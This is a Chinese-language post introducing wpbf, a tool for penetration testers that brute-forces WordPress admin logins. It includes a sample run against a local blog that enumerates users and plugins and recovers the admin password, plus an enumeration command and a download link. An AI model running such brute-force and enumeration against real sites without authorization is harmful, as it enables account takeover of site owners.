WordPress系统暴力破解测试工具 – wpbf

wpbf这款工具可以帮助渗透测试人员，针对WordPress博客后台进行爆破测试。

特性

用户名枚举和发现
多线程
自动使用博客内容中的关键字作为字典
HTTP代理支持
基本的Wordpress指纹探测
高级指纹探测插件

基本使用方法

$ ./wpbf.py http://localhost/wordpress/
2012-02-26 14:26:18,793 – INFO – Target URL: http://localhost/wordpress/
2012-02-26 14:26:18,844 – INFO – Checking URL and username…
2012-02-26 14:26:18,845 – INFO – Enumerating users…
2012-02-26 14:26:52,027 – INFO – Usernames: admin, test, guest
2012-02-26 14:26:54,153 – INFO – 31 plugins will be tested
2012-02-26 14:26:55,311 – INFO – 215 passwords will be tested
2012-02-26 14:26:55,369 – INFO – Starting workers…
2012-02-26 14:26:56,685 – INFO – WordPress version: 3.0.1
2012-02-26 14:26:57,570 – INFO – WordPress path in server: /var/www/wordpress/
2012-02-26 14:27:08,624 – INFO – Plugin ‘akismet’ was found
2012-02-26 14:27:10,292 – INFO – Plugin ‘akismet’ version: 2.5.5 (more info @ http://localhost/wordpress/wp-content/plugins/akismet/readme.txt)
221 tasks left / 2.1 tasks per second / 1.76min left
199 tasks left / 2.2 tasks per second / 1.51min left
172 tasks left / 2.7 tasks per second / 1.06min left
21 tasks left / 1.6 tasks per second / 0.22min left
2012-02-26 14:57:23,245 – INFO – Password ‘qawsed’ found for username ‘admin’ on http://localhost/wordpress/wp-login.php

用户名枚举

$ ./wpbf.py -eu http://www.mysite.com/blog/

下载：https://github.com/atarantini/wpbf